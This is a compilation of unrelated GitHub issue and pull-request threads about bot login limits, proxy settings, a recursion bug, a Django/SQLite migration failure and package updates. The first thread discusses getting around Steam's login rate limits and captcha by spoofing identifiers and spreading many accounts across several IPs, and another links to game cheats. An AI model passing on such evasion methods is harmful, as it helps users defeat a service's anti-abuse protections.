Stop connecting a bot when 25 minutes queue is active

I´m having a lot of accounts and tested the newest release now (1.6 pre2). I installed Mono 4.2.3 on my debian-server (8.1 Jessie) started ASF w/o any parameter. ("--server" fails -> empty.array) After 29 accounts are connected the message "INFO: OnDisconnected()  Will retry after 25 minutes..." comes up and would be a nice feature. But after one bot has to wait 25 minutes ASF tries to connect another bot. It would be better to wait 25 minutes globally. Oh btw: This results in an endless loop.
Bot shows error when connecting: "Unable to login to Steam: InvalidPassword". (missing .bin-files I think and to much concurrent connections)

I'm not fixing volvo fuckups related to too many accounts being connected.

Again: Wait 25 minutes globally and don´t start a neverending loop.

Already discussed here: https://github.com/JustArchi/ArchiSteamFarm/issues/46 and here: https://github.com/JustArchi/ArchiSteamFarm/issues/47 The problem was "fixed" for single bot-instances. But logically if one bot fails to connect with (Invalid Password) and has to wait 25 minutes, ALL bots have to wait 25 minutes. This should be fixed and has nothing to do with Valve Fuckups.

Actually, no. If one bot fails to connect because of too many attempts id does not means automatically that other bots wouldn't be able to connect too. When I met this problem one of my bot get  (Invalid Password) while other bots connected successfully. So "too many attempts for one account" and "too many logins from one IP" is completely separate limitations.

Thats not my experience. Because I´m using so much accounts the "Invalid Password Error" is an indicator for to much bots connecting to fast via same ip-address. In this case it wouldn´t make sense to connect other bots when other bots right before failed with the mentioned error. I will test another delay, maybe I can get it fixed this way.

What @Ryzhehvost said above is true and that's why I say that nothing is getting done here. It's not a bug of ASF, and it won't be adressed. There's no way to tell what "InvalidPassword" really means (password? captcha? too many failed attempts on acc? per IP?) and I won't be wasting time on addressing such mess.

Your "change" would make it impossible for others bots to connect, even if they are not limited, only because one can't connect because of reason X (which is unknown to ASF). This is worse than current mechanism which assumes that block is on per-bot basis and not per-IP, which is much better as it allows other bots to try connecting while one is blocked.

Moreover, of somebody actually changed the password and didn't update it in ASF, it would cause all the bots to never ever connect because of that one account, which is UNACCEPTABLE for ASF, which operates on many bot instances at once.

Therefore, point stays - not a bug, and won't be fixed, because there's nothing to fix here. Fix Steam instead to provide proper reason for not being able to connect, and we can discuss the issue further.

@Pandiora If I understand it right, after you got first "Invalid Password" rest of account would get it too, and all of them would wait 25 minutes, doesn't it means that after 25 minutes those accounts should connect successfully? If there is too much bots and delay between first "Invalid Password" and last bot - then maybe you just need to increase the 25min. timeout?

@Ryzhehvost The problem for me is, first bot gets the error and then the next bot connects within the 25 minutes. It looks like this loop of connecting bots raises the 25 minutes-limit over and over again. Last time I used ASF we solved this by using a delay of 5-10s and it worked for me. Now something changed (I have to look up now) and I have the same problems as in the beginning of ASF again ... Yeah increasing the timeout could also fix the problem. It´s just time-consuming to test it over and over again. Oh btw: Asking for a captcha isn´t ip-based. If I connect with a different pc in the same network, I don´t get a captcha.

If I remember it right - when I had this issue because of too many attempts of incorrect login for one account (actually this was some volvo fuckup, but who cares) - this account got captcha even when logging in from different IP.

ASF has rate limiter implemented by default, it's not possible that ASF will be sending more than 1 connect request per 5 seconds. Moreover, it was greatly improved in the meantime, and works like a real rate limiter now, rather than an ugly delay added between sending requests.
So no, concept is still the same, just implementation is better. Perhaps we should increase the delay instead?

I think its the delay. I mean this is off-topic, but you can test it yourself with 2 PC´s in your network. You won´t get the same error with ASF and you can log in with accounts that throw this error on the other pc. So anyone of you know how Valve detects you´re using another PC? Maybe this way we could just use another MAC or whatever is send to Valve to circumvent the captcha (if so) or "Invalid Password"-Error.

If we're talking about steam client (because website is totally different thing), then it's based on LoginID which is always the same based on private IP being used by PC.
For now all ASF bots use the same LoginID, so if you start another ASF somewhere else, first one will get disconnected, and they won't interfere with each other.

The only thing which comes to my mind is providing each bot with unique LoginID, but that has some drawbacks to consider, as every ASF process should have the same way of calculating the LoginID (same what Valve does with LoginID based on private IP), so it can't be a true random set&forget.
I think we can base it off steam login property.

Phew.  Maybe another reason could be corrupted .bin-Files (again) for whatever reason. When I started using ASF I needed 2 days to generate all .bin-Files step by step. Generate 28 .bin-Files, get InvalidPassword-Error, wait 25 minutes, do it over and over again, until all .bin-Files were generated. Then I found out some .bin-Files were corrupted and it was a lot of work to sort them out and generate them again. I can remember @JustArchi told me the .bin-Files are valid forever, so I thought they should work with every ASF-Version now.

.bin files didn't change from first V0.1 version up to today, they all use same method of generation and upgrades, but that DOES NOT guarantee that Steam client will accept it, as it's totally possible that it can no longer accept old sentry hash, e.g. due to clicking "deauthorize all other computers" in steam client, which effectively kills all ever generated .bin files apart from the one your current steam client uses.
So yeah, those files are the same, their generating is the same, and they should work in all ASF versions, but that does not guarantee that they're valid.

Yeah, I never deauthorized an account, so this shouldn´t be a problem. I tested everything again with a 10s delay and it looks like I can connect with more accounts. Everytime I wait those 25 minutes and start ASF (Debian) again, 20-30 more accounts are able to connect. Example: 28 - 56 - 89 (accounts) and so on. It would be a good idea to implement the global config asap for adjusting the delay between login-attempts.

I´m not sure why Steam is blocking >100 concurrent connections / logged in accounts, but its possible they limited the max connections to 100-110. Now I´m using 2 instances of ASF on my server with different outgoing IP´s. So far its working without a problem. Maybe theres a cheaper way by using a vpn or proxy but this method was the fastest and most reliable solution for me. Currently I´m working with 7s Delay and to my surprise the bots send me trade-offers - not like yesterday with just one instance.

I'd double check if the increased delay is really a problem, because by default ASF uses 5 seconds and it should be enough almost in all cases.
Of course, there's no real reason why we couldn't increase that delay to something bigger, but the question is if it's really needed and you didn't spot a classical steam fuckup instead.

Yeah, will check it again now. It looks like to much connections just fucked up everything, so it could be possible its the same with the delay.

Nearly all accounts connect - but not all. Last 6 accounts can´t connect with "Invalid Password"-Error. Its reproducable and I changed the delay to 7s now, tested again and all accounts connect.
Also, if Steam raises the connection-limit/time in the future, it would be good to have an easy adjustable option for the delay and no need to compile it again.

Also, if Steam raises the connection-limit/time in the future(...)

Users in general should not have a choice on that. Things like timeouts suggested by @Ryzhehvost are fine because they vary from user to user, and from one PC to another, but request limiter delay is supposed to be static because we know better what value should be used rather than user who probably doesn't even know what rate limiter is and why it's needed.
Besides, it doesn't change that often.

It´s the same with current configs. Not all settings needs to be touched. This connection-delay would only help users with more then 80-90 accounts, sure.

You misunderstand two facts.
There are config properties which can be configured by user, according to his own needs and what he wants to achieve. All of them are in the bot config.
And there are also variables that should never be touch by the user, because we know better what is being used. It's like you'd give user option to modify maximum number of allowed trades for predefined value of 5 to something else - why? User doesn't know what is it, and making such option configurable means that he should configure it according to his own needs, but in fact it should never be touched because the value is based on Steam and Valve, and not on user needs.
For the same reason it's not possible to modify some constants user e.g. in Trading or WebBrowser. User should never touch them, and if you have a strong reason to do so, then you should state that reason here because strong reason also affects other users and not only yourself.
You have a strong reason to modify delay - from 5s to 7s, and I agree that it should be changed (I will change it soon), but making that option configurable is pointless and causes only confusion to potential user, who doesn't know what that option is, why it is 7 seconds, and why he should or should not change it.

You could do the same as in the normal config-files before and warn the user to change the delay if he doesn´t owns more then a defined amount of accounts. Anyway I´m fine with it if the delay stays at 7s now and problem should be solved this way for me.

It's too hard to say what delay you need, it's easier t tell what delay will satisfy all scenarios, and for now it's 7 seconds, therefore it stays.


Proxy configuration is not honored by image-reflector-controller

The image-reflector-controller adds the following status to an ImageRepository:
canonicalImageName: example.com/whatnot/image
  conditions:
    - lastTransitionTime: '2022-11-09T11:59:38Z'
      message: 'Get "https://example.com/v2/": context deadline exceeded'
      reason: ReconciliationFailed
      status: 'False'
      type: Ready
  observedGeneration: 1

All components within the flux-system go their proxy settings injected by kyverno as follows:

HTTP_PROXY
HTTPS_PROXY
NO_PROXY
http_proxy
https_proxy
no_proxy

The same environment variables and as they are injected, work on all other Pods, except flux Pods. For example, when called from flux controller pods, using wget example.com results in 400 Bad Request from the proxy server. Going into all flux Pods, I can confirm that env prints the proper proxy settings. This issue with wget may be related to Alpine #10446 or Docker Alpine #51.
The context deadline exceeded above may suggest that the image-reflector-controller does not use the proxy settings after all.
Does the image-reflector-controller support proxy settings? And if so, how?
(I found evidence for that in the source-controller but not here.)

The same here, seems the wget it use is from busybox  and the version ignored the no_proxy environment

To configure HTTP/S proxies please see https://fluxcd.io/flux/cheatsheets/bootstrap/#using-https-proxy-for-egress-traffic


rs_bag2image not found

I'm new in Ubuntu, I cloned git, and write command. But I got follow issue
rs_bag2image: command not found
How can I solve this issue?
Thanks

You need to build rs_bag2image from source code yourself.

how would you build it ?


Input component shows error even if not touched

I am trying to use Input component within a redux-form form.
The Input always shows the error text even if it is untouched.
Could you please implement this behaviour : When untouched or valid don't show the error and show it otherwise.

I've worked around this issue using the approach below, maybe it will be of help to you as well.
    function errorMessage(field) {
        return field.touched && field.error || null;
    }
[...]
    const { fields: { name } } = this.props;
[...]
    <Input
        type="text"
        label="Name"
        name="name"
        {...name}
        error={errorMessage(name)}
    />

Simple and effective.
Would be great if this was integrated in the toolbox.

While I was working on the input field, I noticed that the error property accepts a node not a string. It might have been done this way to allow the user to control when the user gets shown and what they want to display in the error. Plus adding a check like this is specific for the redux form controls, which I don't think all users may use. But hey, that's just an opinion.

It accepts a node but it renders it as if it was just a string :
{error ? {error} : null}

@yzaroui Good catch! I mentioned it in the update docs PR that I was working on and changed it from node to string. In other components, error was enforced to be a string and seeing it like this makes sense to me. Lets see what they have to say.

If there is a fix already I'm closing. If you guys there stuff to do in the Input to improve it's integration with redux form feel free to PR it :)


TypeScript all the things?

This is a suggestion. I was able to use TypeScript for webpack config and server side code and I think this project should do it too!
Take a look at my project:
https://github.com/rah-foundation/website

we want to avoid must-have dependencies like ts-node as much as we can. our primary aim to use typescript on this boilerplate is to provide typesafety to our codebase.
thanks for your suggestion 👍


StackOverflowError upon component initialisation

Problem
Hey! So if one follows the tutorial and inits the component like this:
Pushraven.setAccountFile(new File("service_account.json"));
<...>

Then the app enters an infinite loop and eventually crashes with a SO error:
Exception in thread "main" java.lang.StackOverflowError
	at us.raudi.pushraven.Pushraven.setAccountFile(Pushraven.java:36)
	at us.raudi.pushraven.Pushraven.setAccountFile(Pushraven.java:36)
	at us.raudi.pushraven.Pushraven.setAccountFile(Pushraven.java:36)
       <...>

Cause
That's is due to an infinite recursive call here:
https://github.com/Raudius/Pushraven/blob/master/Pushraven/src/us/raudi/pushraven/Pushraven.java#L36
Fix
At first glance, that recursive call seems superfluous, and can be just removed.
I have no idea how that happened. I guess I shouldn't do staging at 2am anymore.
Anyway, I have just (2:10am... whatever!)  uploaded the new version to maven and should become available soon.
The new version has code: 1.0.1
<dependency>
  <groupId>us.raudi</groupId>
  <artifactId>pushraven</artifactId>
  <version>1.0.1</version>
</dependency>


Help with understanding some of the functionality

Hi Joe,
I am using both Navigation and Pagination.  I have been looking at simpleAuth with a view to using this as well. Wondering if you might give me some further info on some of the functionality as I in a particularly steep learning curve at the moment.
I was looking at the SimpleAuthSettings.json file and would like to know how to bring up the different tennants - ones called "Sample site" and the other is called "darkly industries". Each has a different theme under the themes folder.
How do I use the Hostnames that appear in the simpleauthsettings.jason
I've noticed that I use annotations to manage role authorization as per the controller. Can I have multiple roles accessing one IActionResult - that is, having multiple roles in the one annotation or do I have to have multiple annotations.
Do all my views and viewmodels go in the Theme folder as per the "Index_tenant-1.cshtml" view if I want that theme to be used...
My intention is to use this with a single tennant rather than multi tenancy..
Do I comment out the multitennant service and un comment the single tennant service option
services.Configure< SimpleAuthSettings >(Configuration.GetSection("SimpleAuthSettings"));
//services.AddScoped< IUserLookupProvider, DefaultUserLookupProvider >(); // single tenant
I suspect doing this will mean I only need one theme in the themes folder.
Finally, how do I configure Recaptcha...
Kind Regards
Simon

Hi Simon,
I have added a samples folder in the repository and created 2 samples, one single tenant, and one as multi-tenant.
These samples should be easier to understand because they only have the Nuget for SimpleAuth, not the source code, so it is how your own project should look.
I've added a readme.md file in the project root of the multi tenant example with notes about how to easily test it with 2 "host" tenants running at once
I've added comments in the simpleauthsettings.json file examples with a link to get your recaptcha keys, as soon as the keys are populated the recaptcha should appear on the login page
In the mutli tenant readme I think I have also answered the questions about themes
I only implemented the themes in the multi tenant demo to make it more clear which tenant one is viewing and to show how to theme different tenants, you would not need that in a single tenant app though it still might be nice to be able to easily change the theme of a single tenant app while keeping the previous theme intact
for your question about authorization I recommend see the docs here to learn the various ways to configure authorization policy
https://docs.asp.net/en/latest/security/authorization/index.html

Much appreciated Joe.. Will check it out Monday… Regards Simon
From: Joe Audette<EMAIL_ADDRESS>Sent: 11 March 2016 01:23
To: joeaudette/cloudscribe.Web.SimpleAuth<EMAIL_ADDRESS>Cc: si2030<EMAIL_ADDRESS>Subject: Re: [cloudscribe.Web.SimpleAuth] Help with understanding some of the functionality (#1)
Hi Simon,
I have added a samples folder in the repository and created 2 samples, one single tenant, and one as multi-tenant.
These samples should be easier to understand because they only have the Nuget for SimpleAuth, not the source code, so it is how your own project should look.
I've added a readme.md file in the project root of the multi tenant example with notes about how to easily test it with 2 "host" tenants running at once
I've added comments in the simpleauthsettings.json file examples with a link to get your recaptcha keys, as soon as the keys are populated the recaptcha should appear on the login page
In the mutli tenant readme I think I have also answered the questions about themes
I only implemented the themes in the multi tenant demo to make it more clear which tenant one is viewing and to show how to theme different tenants, you would not need that in a single tenant app though it still might be nice to be able to easily change the theme of a single tenant app while keeping the previous theme intact
for your question about authorization I recommend see the docs here to learn the various ways to configure authorization policy
https://docs.asp.net/en/latest/security/authorization/index.html
—
Reply to this email directly or view it on GitHub https://github.com/joeaudette/cloudscribe.Web.SimpleAuth/issues/1#issuecomment-194869690 .  https://github.com/notifications/beacon/APwelnT9EhioGZqWQIQZ4uk2MpXCrWShks5psCksgaJpZM4Hs0nI.gif


conflict with GoRouter extension method context.push and contaxt.pop

I got a conflict error between GoRouter and VelocityX extension method push and pop.
I'm using GoRouter as my main package for routing for 1 year and recently I know about VelocityX through youtube and am willing to use it. but, after using it, it got this error on the same page where VelocityX and GoRouter exist.
A member named 'push' is defined in extension 'GoRouterHelper' and extension 'VxContextExtensions', and none are more specific. Try using an extension override to specify the extension you want to be chosen

So, I have no idea how to use both packages together. Can anyone give me any suggestions?

Instead of using context, you can use directly
GoRouter.of(context).push(RouteName);
or In imports you can give alias name using "as" keyword either for GoRouter or Velocity_x.

Fixed with v4.1.1


Remove a print debug code

Follow up of https://github.com/rubocop-hq/rubocop/pull/7663/files#r381151515.
This PR removes a print debug code.
It would be better if print debug could be detected by project automation in the future.

Before submitting the PR make sure the following are checked:

[x] Wrote good commit messages.
[ ] Commit message starts with [Fix #issue-number] (if the related issue exists).
[x] Feature branch is up-to-date with master (if not - rebase it).
[x] Squashed related commits together.
[ ] Added tests.
[ ] Added an entry to the Changelog if the new code introduces user-observable changes. See changelog entry format.
[x] The PR relates to only one subject with a clear title and description in grammatically correct, complete sentences.
[x] Run bundle exec rake default. It executes all tests and RuboCop for itself, and generates the documentation.

thanks for doing this @koic - i almost did the same.  If only there was a tool that could run on code that would detect things like puts statements that perhaps shouldn't be there? :P


chore(example): Bump react-native to 0.73.6

Motivation (required)
In order to test bridgeless mode compatibility we need to bump the react-native example app version to > 0.73
Test Plan (required)
Run example app on Android and iOS

:tada: This PR is included in version 7.1.2 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Crypto Hack 'Give Crypto' Module doesn't work

Please fix your hack, Gliz.

You must have a reading issue!
The readme clearly states that it will not be updated, while you can write I guess you can't read.
You might want to bounce back to Kindergarden, then come back and try again.

Working cheats here: https://github.com/Minesraft2/Blooket-Cheats


Android DateInputRenderer OnClick Crash

Platform

Android

Version of SDK
Adaptive card 1.0.4
Issue
When i click on an input date in android, i get the following error:
io.adaptivecards.renderer.input.DateInputRenderer$1.onClick DateInputRenderer.java - line 112 java.lang.NullPointerException: Attempt to invoke virtual method 'android.support.v4.app.FragmentTransaction android.support.v4.app.FragmentManager.beginTransaction()' on a null object reference

I'm using API 26

The bug is in DateInputRender.java
I replaced like 112 from
FragmentManager fm = dateInputHandler.getFragmentManager(); datePickerFragment.show(fm, TITLE);
to
datePickerFragment.show(fragmentManager, TITLE);

Hey
I'm trying to repro the issue in SDK 1.0.4 android API 26 in an emulator using the mobile app but I haven't made it crash. I'm using the Input.Date.json for testing, can you repro the same issue with the same card?

I'm using adaptive card 1.0.4 with Xamarin Forms Android.
Still got the same error when i tested it with  Input.Date.json.
dateInputHandler.getFragmentManager() returns null
Seems to work fine in android studio.

Check out the latest master branch and the issue has been sorted.

Thanks for confirming @gnamse.
Closing the issue then.


#1894 fix to work when only local system is configured

Description
Data preparation has been designed to work on the local file system without Hadoop or Hive.
But, when I ran without hadoop configuration, an error popped out.
For more description, take a look at the related issue.
Related Issue : https://github.com/metatron-app/metatron-discovery/issues/1894
How Has This Been Tested?
Ran locally.
Types of changes

[x] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)

Checklist:

[ ] My code follows the code style of this project. it will be added soon
[ ] My change requires a change to the documentation.
[ ] I have updated the documentation accordingly.
[ ] I have read the CONTRIBUTING document. it will be added soon
[ ] I have added tests to cover my changes.
[ ] All new and existing tests passed.

run build
deploy to 4


Use idiomatic syntax of Rc::clone()

This syntax makes it easier to see that this code is creating a new reference rather than copying the whole content of sched.

Thanks!


Empty messages can break the markup of continued AI replies and might confuse the AI

Before submitting your bug report

[X] I believe this is a bug. I'll try to join the Continue Discord for questions
[X] I'm not able to find an open issue that reports the same bug
[X] I've seen the troubleshooting guide on the Continue Docs

Relevant environment info
- OS:Linux
- Continue: v0.8.12
- IDE: VSCodium (copy/pasted from the About window:
> Version: 1.86.2
> Release: 24054
> Commit: 1d6ffebc0098f8a61639c4b637922c87a114d4bc
> Date: 2024-02-23T01:31:11.072Z
> Electron: 27.2.3
> ElectronBuildId: undefined
> Chromium: 118.0.5993.159
> Node.js: 18.17.1
> V8: <IP_ADDRESS>-electron.0
> OS: Linux x64 5.15.0-97-generic
)

Description
Sometimes when the AI ends the message prematurely for whatever reason, in the lack of a "please do go on" button, it seems the only option is to just send an empty message; but this seems to sometimes mess up the formatting (I imagine due to the empty user message left in the middle and confusions about unclosed or unopened mark-up tags), and might on occasion confuse the AI (seems the issue there would probably be the extraneous tokens of beginning and ending messages and roles and stuff getting injected in the middle of the reply instead of giving the AI the impression it's just continuing it's own reply)
To reproduce
Not 100% sure how to repro it consistently. But it seems you got great odds if the reply you're gonna get fom the AI will contain long code blocks that might end up getting cut short; and then you just hit Enter on the user follow-up textbox leaving it empty. Like for example, select a long span of uncommented code, Ctrl-M it, and ask the AI to add descriptive comments explaining each line.
Log output
No response

Going through old issues, and I believe this has long since been solved. Going to close, but if you experience anything similar, please feel free to re-open!


make a dictionary with a wordlist from the dataset

The workflow is:

make a dictionary
make some code to map the senses to concepticon in a restricted concept list
make some precedence how the wordlist can be manually refined
make a combined lexibank script

So I've implemented this workflow in the new makeconcepts.py file. There's a 1016 entry long masterconceptlist.txt in etc that I took from northeuralex. After mapping with pysem, the script drops all rows where the concepts are not in the master list. It also creates a file missing.txt with all concepts that were not found in the data.
One more thing I was planning to do was to use pysem's max_matches parameter and then create another file for reviewing where multiple matches were found, but for some reason it's still matching exactly 1 concept, I think I must be using this somehow wrong

I'll check with your script and then try to do it in such a way that we can edit the mappings and forms, and see what happens there. I'll make it a proper cldf-command, for our workflow as well.
Will see when I find time for this, maybe tomorrow.


*: etcdserver State in Member (replace IsLeader)

This is incorrect. The local member does not know the exact state of other nodes. It does not know if the other member is candidate or leader when it is a follower.

@xiang90 I see. I will rework on this. Thanks.

becameCandidate method is not exposed and used only as an internal method inside raft package, so unless we send messages for every becameCandidate calls using raftpb it seems hard to get the states of the server.

I do not think this actually worth the effort.

@xiang90 Agree. Let's keep IsLeader for now. Thanks!


Migration on new database fails (Django <= 2.1.4 && sqlite 3.26)

Migrations fail on databases used at least since 2.3 after a recent system upgrade to sqlite 3.26 on ArchLinux systems.
users.0007_superadmin succeeds, after that, it fails.

motions/migrations/0017_remove_state_action_word.py seems to be the newest migration which may or not be the failing one.
Pointing at #4050 (merged yesterday)
edit: context: master branch, removing all personal data, then doing paython manage.py createsettings; python manage.py migrate

There are two new migrations touched after the last working one was edited.
So #3975 is my new guess.
./motions/migrations/0017_remove_state_action_word.py
./core/migrations/0009_auto_20181118_2126.py
freeze.txt
(databases not  uploadable by github)

console output (extract)

  Applying motions.0012_motion_comments... OK
  Applying motions.0013_motion_sorting_and_statute... OK
  Applying motions.0014_motionchangerecommendation_internal... OK
  Applying motions.0015_metadata_permission... OK
  Applying motions.0016_merge_amendment_into_final... OK
  Applying motions.0017_remove_state_action_word... OK
  Applying users.0007_superadmin... OK
Traceback (most recent call last):
  File "/openslides/.venv/lib/python3.7/site-packages/django/db/backends/utils.py", line 85, in _execute
    return self.cursor.execute(sql, params)
  File "/openslides/.venv/lib/python3.7/site-packages/django/db/backends/sqlite3/base.py", line 296, in execute
    return Database.Cursor.execute(self, query, params)
sqlite3.OperationalError: no such table: main.motions_state_ _old
The above exception was the direct cause of the following exception:
Traceback (most recent call last):
File "manage.py", line 11, in
exit(main())
File "/openslides/openslides/_ main .py", line 41, in main
execute_from_command_line(sys.argv)
File "/openslides/.venv/lib/python3.7/site-packages/django/core/management/ init .py", line 381, in execute_from_command_line
utility.execute()
File "/openslides/.venv/lib/python3.7/site-packages/django/core/management/ init _.py", line 375, in execute
self.fetch_command(subcommand).run_from_argv(self.argv)
File "/openslides/.venv/lib/python3.7/site-packages/django/core/management/base.py", line 316, in run_from_argv
self.execute(*args, **cmd_options)
File "/openslides/.venv/lib/python3.7/site-packages/django/core/management/base.py", line 353, in execute
output = self.handle(*args, **options)
File "/openslides/openslides/core/management/commands/migrate.py", line 23, in handle
super().handle(*args, **options)
File "/openslides/.venv/lib/python3.7/site-packages/django/core/management/base.py", line 83, in wrapped
res = handle_func(*args, **kwargs)
File "/openslides/.venv/lib/python3.7/site-packages/django/core/management/commands/migrate.py", line 226, in handle
self.verbosity, self.interactive, connection.alias, apps=post_migrate_apps, plan=plan,
File "/openslides/.venv/lib/python3.7/site-packages/django/core/management/sql.py", line 51, in emit_post_migrate_signal
**kwargs
File "/openslides/.venv/lib/python3.7/site-packages/django/dispatch/dispatcher.py", line 175, in send
for receiver in self._live_receivers(sender)
File "/openslides/.venv/lib/python3.7/site-packages/django/dispatch/dispatcher.py", line 175, in
for receiver in self._live_receivers(sender)
File "/openslides/openslides/motions/signals.py", line 18, in create_builtin_workflows
workflow_1.save(skip_autoupdate=True)
File "/openslides/openslides/motions/models.py", line 1202, in save
super(Workflow, self).save(**kwargs)
File "/openslides/openslides/utils/models.py", line 81, in save
return_value = super().save(*args, **kwargs)  # type: ignore
File "/openslides/.venv/lib/python3.7/site-packages/django/db/models/base.py", line 718, in save
force_update=force_update, update_fields=update_fields)
File "/openslides/.venv/lib/python3.7/site-packages/django/db/models/base.py", line 748, in save_base
updated = self._save_table(raw, cls, force_insert, force_update, using, update_fields)
File "/openslides/.venv/lib/python3.7/site-packages/django/db/models/base.py", line 831, in _save_table
result = self._do_insert(cls._base_manager, using, fields, update_pk, raw)
File "/openslides/.venv/lib/python3.7/site-packages/django/db/models/base.py", line 869, in _do_insert
using=using, raw=raw)
File "/openslides/.venv/lib/python3.7/site-packages/django/db/models/manager.py", line 82, in manager_method
return getattr(self.get_queryset(), name)(*args, **kwargs)
File "/openslides/.venv/lib/python3.7/site-packages/django/db/models/query.py", line 1136, in _insert
return query.get_compiler(using=using).execute_sql(return_id)
File "/openslides/.venv/lib/python3.7/site-packages/django/db/models/sql/compiler.py", line 1289, in execute_sql
cursor.execute(sql, params)
File "/openslides/.venv/lib/python3.7/site-packages/django/db/backends/utils.py", line 100, in execute
return super().execute(sql, params)
File "/openslides/.venv/lib/python3.7/site-packages/django/db/backends/utils.py", line 68, in execute
return self._execute_with_wrappers(sql, params, many=False, executor=self._execute)
File "/openslides/.venv/lib/python3.7/site-packages/django/db/backends/utils.py", line 77, in _execute_with_wrappers
return executor(sql, params, many, context)
File "/openslides/.venv/lib/python3.7/site-packages/django/db/backends/utils.py", line 85, in _execute
return self.cursor.execute(sql, params)
File "/openslides/.venv/lib/python3.7/site-packages/django/db/utils.py", line 89, in _ exit _
raise dj_exc_value.with_traceback(traceback) from exc_value
File "/openslides/.venv/lib/python3.7/site-packages/django/db/backends/utils.py", line 85, in execute
return self.cursor.execute(sql, params)
File "/openslides/.venv/lib/python3.7/site-packages/django/db/backends/sqlite3/base.py", line 296, in execute
return Database.Cursor.execute(self, query, params)
django.db.utils.OperationalError: no such table: main.motions_state _old

Now, I can reproduce the migrate error after upgrading my arch linux system! Works well before I updated today (pip install openslides && openslides start --local-installation). Does not work after upgrade... This is not a 3.0 issue.
...
django.db.utils.OperationalError: no such table: main.motions_state _old

Just an idea, without having checked the migrations: A recent update in sqlite (3.25.3 -> 3.26) brought an API change in alter table(link) which I don't inmediately understand. On my system I did the update on Dec. 4

just confirmed: A manual downgrade of the system's sqlite-3.25.3-1 'repaired' openSlides.

Fix in Django (not yet released, Version > 2.1.4): https://github.com/django/django/commit/c8ffdbe514b55ff5c9a2b8cb8bbdf2d3978c188f
Ticket:
https://code.djangoproject.com/ticket/30016

@MaximilianKrambach very nice. Last week I traced this issue through django until the statement was issued to the sqlite library. In this point I stopped, because I didn't know how to debug more.
Do we know when django 2.1.4 will be released?

The sqlite-fix will be released in django 2.1.5 which is scheduled for 2019-01-01:
https://docs.djangoproject.com/en/2.1/releases/2.1.5/
(2.1.4 was released 2018-12-03)

Ok. Because we won't release before this, we just add a notice into the readme, I guess. When the Django update is there, we should update the required version of Django.

as discussed with @emanuelschuetze and after further discussion in #4090 we can close this


LMM: use _generate_oai_reply_from_client

Why are these changes needed?
This PR only has one-line change (as major change) and a new test case. However, it addresses several issues mentioned before:
https://github.com/microsoft/autogen/issues/2550
https://github.com/microsoft/autogen/issues/3507
Details:
In 2024, we introduced the function _generate_oai_reply_from_client in Conversable Agent (https://github.com/microsoft/autogen/pull/1575), which can handle function calling, model dumping, reflection, and many other great features. However, this change is not updated in the MultimodalConversableAgent, which causes lots of issues afterwards for the multimodal agent in function calling, group chat, and many other locations.
The fix is simple.
Updates:

In MultimodalConversableAgent, override the OAI's client call with _generate_oai_reply_from_client.
We also added a new test cases accordingly.
We now use gpt-4-turbo as the default model instead of gpt-4-vision-preview, as the preview model is deprecated by OpenAI now.

Related issue number

Checks

[X] I've included any doc changes needed for https://autogen-ai.github.io/autogen/. See https://autogen-ai.github.io/autogen/docs/Contribute#documentation to build and test documentation locally.
[X] I've added tests (if relevant) corresponding to the changes introduced in this PR.
[X] I've made sure all auto checks have passed.

NOTE: the test case is failing because of API key. Let me know how to address it.
openai.AuthenticationError: Error code: 401 - {'error': {'message': 'Incorrect API key provided: sk-mocko***************************************only. You can find your API key at https://platform.openai.com/account/api-keys.', 'type': 'invalid_request_error', 'param': None, 'code': 'invalid_api_key'}}

NOTE: the test case is failing because of API key. Let me know how to address it.
openai.AuthenticationError: Error code: 401 - {'error': {'message': 'Incorrect API key provided: sk-mocko***************************************only. You can find your API key at https://platform.openai.com/account/api-keys.', 'type': 'invalid_request_error', 'param': None, 'code': 'invalid_api_key'}}

We can just skip the tests for this, If it is tested locally on all OS.

im on windows, let me know if it is already tested.

@Hk669  Thanks! I have tested in Mac OS.

@BabyCNM im on windows, let me know if it is already tested.

@Hk669 did you test it on windows? Thank you!

@Hk669 did you test it on windows? Thank you!

I couldn't test it, let me do it tomorrow. But it looks good to me though.

The LMM tests should be skiped when skip-openai is specified. Please add a skip condition similar to other tests in contrib tests, and add the test back to contrib-openai CI.
@qingyun-wu I think the LMM tests were removed from contrib-openai CI before. Could you chime in if there's an issue that prevents this test to be added to CI?

The LMM tests should be skiped when skip-openai is specified. Please add a skip condition similar to other tests in contrib tests, and add the test back to contrib-openai CI. @qingyun-wu I think the LMM tests were removed from contrib-openai CI before. Could you chime in if there's an issue that prevents this test to be added to CI?

Ok. Will take a look at this and get back soon.


black: 18.6b4 -> 18.9b0

Things done

[x] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS)
Built on platform(s)

[x] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nox --run "nox-review wip"
[x] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[ ] Fits CONTRIBUTING.md.

@GrahamcOfBorg build python36Packages.black python36Packages.pyls-black

Failure on x86_64-darwin (full log)
Attempted: python36Packages.black, python36Packages.pyls-black
Partial log (click to expand)
            py36=config["py36"],
            pyi=config["pyi"],
>           skip_string_normalization=config["skip_string_normalization"],
        )
E       TypeError: from_configuration() missing 1 required keyword-only argument: 'skip_numeric_underscore_normalization'

/nix/store/843qjw57mvp2g2n3lpabxjk76kwl6jg7-python3.6-pyls-black-0.2.1/lib/python3.6/site-packages/pyls_black/plugin.py:49: TypeError
====================== 9 failed, 2 passed in 0.42 seconds ======================
builder for '/nix/store/npjby99q72gxz0ljvgbraqfy08sh6r4r-python3.6-pyls-black-0.2.1.drv' failed with exit code 1
error: build of '/nix/store/npjby99q72gxz0ljvgbraqfy08sh6r4r-python3.6-pyls-black-0.2.1.drv' failed

Failure on aarch64-linux (full log)
Attempted: python36Packages.black, python36Packages.pyls-black
Partial log (click to expand)
            py36=config["py36"],
            pyi=config["pyi"],
>           skip_string_normalization=config["skip_string_normalization"],
        )
E       TypeError: from_configuration() missing 1 required keyword-only argument: 'skip_numeric_underscore_normalization'

/nix/store/jl5yr7gvbdp6nsfq7ydy0l84mxgj1l9n-python3.6-pyls-black-0.2.1/lib/python3.6/site-packages/pyls_black/plugin.py:49: TypeError
====================== 9 failed, 2 passed in 0.90 seconds ======================
